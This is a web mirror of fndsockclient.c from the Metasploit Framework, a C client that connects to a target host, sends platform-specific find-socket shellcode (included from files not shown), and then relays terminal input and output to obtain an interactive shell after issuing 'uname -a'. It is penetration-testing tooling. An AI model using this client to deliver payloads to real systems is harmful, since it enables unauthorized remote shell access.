CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/fndsockclient.c
Views: 11766
1
/*
2
* fndsockclient.c
3
* Copyright 2006 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This program is free software; you can redistribute it and/or modify
6
* it under the terms of the GNU General Public License as published by
7
* the Free Software Foundation; either version 2 of the License, or
8
* (at your option) any later version.
9
*
10
* This program is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13
* GNU General Public License for more details.
14
*
15
* You should have received a copy of the GNU General Public License
16
* along with this program; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#include <stdio.h>
22
#include <stdlib.h>
23
#include <string.h>
24
#include <sys/types.h>
25
#include <sys/socket.h>
26
#include <netinet/in.h>
27
#include <arpa/inet.h>
28
#include <netdb.h>
29
#include <sys/select.h>
30
#include <unistd.h>
31
#include <errno.h>
32
33
#if defined(_AIX)
34
#include "aix-power-fndsockcode.c"
35
#elif defined(__bsd__) && defined(__i386__)
36
#include "bsd-x86-fndsockcode.c"
37
#elif defined(__linux__) && defined(__powerpc64__)
38
#include "lin-power-fndsockcode64.c"
39
#elif defined(__linux__) && defined(__powerpc__)
40
#include "lin-power-fndsockcode.c"
41
#elif defined(__linux__) && defined(__i386__)
42
#include "lin-x86-fndsockcode.c"
43
#elif defined(__osx__) && defined(__i386__)
44
#include "osx-x86-fndsockcode.c"
45
#elif defined(__solaris__) && defined(__i386__)
46
#include "sol-x86-fndsockcode.c"
47
#else
48
#error "Unsupported operating system and/or architecture."
49
#endif
50
51
int
52
hexdump(char *buf, int len)
53
{
54
int i, j;
55
56
for (i=0; i<len; i++) {
57
for (j=0; j<16; j++) {
58
if (i+j >= len)
59
printf("%3s","");
60
else
61
printf("%02x ", (unsigned char)buf[i+j]);
62
}
63
64
printf("%3s","");
65
66
for (j=0; j<16; j++) {
67
if (i+j >= len)
68
printf("%1s","");
69
else
70
if (buf[i+j]>'\x1f' && buf[i+j]<'\x7f')
71
printf("%c", buf[i+j]);
72
else
73
printf(".");
74
}
75
76
i += 15;
77
78
printf("\n");
79
}
80
81
return 0;
82
}
83
84
int
85
main(int argc, char **argv)
86
{
87
char *addr = "0.0.0.0";
88
int port = 1234;
89
int c, s;
90
int debug = 0, verbose = 0;
91
struct sockaddr_in sin;
92
struct hostent *he;
93
socklen_t sin_len = sizeof(sin);
94
int count;
95
96
while ((c = getopt(argc, argv, "a:dp:v")) != -1) {
97
switch (c) {
98
case 'a':
99
addr = optarg;
100
break;
101
case 'd':
102
debug = 1;
103
break;
104
case 'p':
105
port = atoi(optarg);
106
break;
107
case 'v':
108
verbose = 1;
109
}
110
}
111
112
if (debug || verbose)
113
printf("using %s:%d\n", addr, port);
114
115
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
116
perror("socket");
117
exit(EXIT_FAILURE);
118
}
119
120
memset(&sin, 0, sizeof(sin));
121
sin.sin_family = AF_INET;
122
sin.sin_port = htons(port);
123
if ((sin.sin_addr.s_addr = inet_addr(addr)) == -1) {
124
if ((he = gethostbyname(addr)) == NULL) {
125
errno = EADDRNOTAVAIL;
126
perror("gethostbyname");
127
exit(EXIT_FAILURE);
128
}
129
memcpy(&sin.sin_addr.s_addr, he->h_addr, 4);
130
}
131
132
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
133
perror("connect");
134
exit(EXIT_FAILURE);
135
}
136
137
if (debug || verbose)
138
printf("connected to %s:%d\n", addr, port);
139
140
if (getsockname(s, (struct sockaddr *)&sin, &sin_len)) {
141
perror("getsockname");
142
exit(EXIT_FAILURE);
143
}
144
145
#if defined(__LP64__)
146
fndsockcode64[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
147
fndsockcode64[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
148
149
if ((count = send(s, fndsockcode64, sizeof(fndsockcode64)-1, 0)) == -1) {
150
perror("send");
151
exit(EXIT_FAILURE);
152
}
153
154
if (debug)
155
hexdump(fndsockcode64, sizeof(fndsockcode64)-1);
156
157
#else
158
fndsockcode[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
159
fndsockcode[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
160
161
if ((count = send(s, fndsockcode, sizeof(fndsockcode)-1, 0)) == -1) {
162
perror("send");
163
exit(EXIT_FAILURE);
164
}
165
166
if (debug)
167
hexdump(fndsockcode, sizeof(fndsockcode)-1);
168
169
#endif
170
171
if (debug || verbose)
172
printf("%d bytes sent\n", count);
173
174
sleep(4);
175
176
write(s, "uname -a\n", 9);
177
while (1) {
178
fd_set fds;
179
int count;
180
char buf[1024];
181
182
FD_ZERO(&fds);
183
FD_SET(0, &fds);
184
FD_SET(s, &fds);
185
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) == -1) {
186
if (errno == EINTR)
187
continue;
188
perror("select");
189
exit(EXIT_FAILURE);
190
}
191
if (FD_ISSET(0, &fds)) {
192
if ((count = read(0, buf, sizeof(buf))) < 1) {
193
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
194
continue;
195
else
196
break;
197
}
198
write(s, buf, count);
199
}
200
if (FD_ISSET(s, &fds)) {
201
if ((count = read(s, buf, sizeof(buf))) < 1) {
202
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
203
continue;
204
else
205
break;
206
}
207
write(1, buf, count);
208
}
209
}
210
211
exit(EXIT_SUCCESS);
212
}
213
214
215